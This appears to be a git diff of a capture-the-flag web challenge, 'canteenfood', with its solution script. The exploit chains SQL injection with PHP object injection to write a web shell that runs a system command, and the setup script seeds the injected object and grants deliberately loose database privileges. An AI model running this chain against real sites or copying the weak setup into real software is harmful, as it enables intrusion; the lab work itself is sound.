mysql -u root << EOF
|
||||
CREATE DATABASE $DB_NAME;
|
||||
CREATE TABLE $DB_NAME.food (
|
||||
id INT NOT NULL AUTO_INCREMENT,
|
||||
name VARCHAR(255),
|
||||
oldvalue VARCHAR(255),
|
||||
price float,
|
||||
PRIMARY KEY (id)
|
||||
);
|
||||
|
||||
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Spaghetti', '', 2.99);
|
||||
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Burger', '', 100.99);
|
||||
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Cookies', '', 22.30);
|
||||
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Lasagna', '', 7.50);
|
||||
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Schnitzel', '', 5000.99);
|
||||
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('','YToyOntpOjA7czo1OiJQaXp6YSI7aToxO2Q6MC45OTt9', 0);
|
||||
|
||||
CREATE USER '$DB_USER'@'%';
|
||||
GRANT SELECT, UPDATE ON *.* TO '$DB_USER'@'%';
|
||||
ALTER USER 'root'@'localhost' IDENTIFIED BY 'test123';
|
||||
FLUSH PRIVILEGES;
|
||||
|
||||
EOF
|
||||
|
||||
echo -e "fastcgi_param DB_NAME $DB_NAME;\nfastcgi_param DB_USER $DB_USER;\nfastcgi_param DB_PASS '';" >> /etc/nginx/fastcgi_params
|
||||
|
||||
/usr/bin/supervisord -c /etc/supervisord.conf
|
||||
39
cscg25/web/canteenfood/exploit.py
Normal file
39
cscg25/web/canteenfood/exploit.py
Normal file
@@ -0,0 +1,39 @@
|
||||
import requests
|
||||
from base64 import b64encode
|
||||
|
||||
SITE_URL = "https://c3438387fc4b879a3ef7e4c9-80-canteenfood.challenge.cscg.live:1337/"
|
||||
|
||||
malicious_site = """
|
||||
<html>
|
||||
<body>
|
||||
<h1><?= system("../../readflag"); ?><h1>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
|
||||
def sql_injection_oldvalue(payload: str):
|
||||
return f'2 UNION SELECT NULL as id, "" as name, "{payload}" as oldvalue, NULL as price'
|
||||
|
||||
|
||||
def arbitrary_append(filename, content):
|
||||
php_object = f'O:+10:"AdminModel":2:{{s:8:"filename";s:{len(filename)}:"{filename}";s:10:"logcontent";s:{len(content)}:"{content}";}}'.encode('ascii')
|
||||
encoded_php_object = b64encode(php_object).decode('ascii')
|
||||
injection_string = sql_injection_oldvalue(encoded_php_object)
|
||||
params = {'price': injection_string}
|
||||
session.get(SITE_URL, params=params)
|
||||
|
||||
def retrieve_flag(filepath: str):
|
||||
response = session.get(SITE_URL + filepath)
|
||||
if response.status_code == 200:
|
||||
return response.text
|
||||
else:
|
||||
raise RuntimeError(f"Injected php script is not present at {filepath}")
|
||||
|
||||
session = requests.Session()
|
||||
filepath = "views/injection.php"
|
||||
arbitrary_append(filepath, malicious_site)
|
||||
flag = retrieve_flag(filepath)
|
||||
|
||||
print(flag)
|
||||
|
||||
1
cscg25/web/canteenfood/flag.txt
Normal file
1
cscg25/web/canteenfood/flag.txt
Normal file
@@ -0,0 +1 @@
|
||||
dach2025{fakeflag}
|
||||
1
cscg25/web/canteenfood/logs.txt
Normal file
1
cscg25/web/canteenfood/logs.txt
Normal file
@@ -0,0 +1 @@
|
||||
--- Log File who accessed the canteen plan ---<br>
|
||||
17
cscg25/web/canteenfood/readflag.c
Normal file
17
cscg25/web/canteenfood/readflag.c
Normal file
@@ -0,0 +1,17 @@
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void) {
|
||||
char flag[256] = {0};
|
||||
FILE* fp = fopen("/flag.txt", "r");
|
||||
if (!fp) {
|
||||
perror("fopen");
|
||||
return 1;
|
||||
}
|
||||
if (fread(flag, 1, 256, fp) < 0) {
|
||||
perror("fread");
|
||||
return 1;
|
||||
}
|
||||
puts(flag);
|
||||
fclose(fp);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user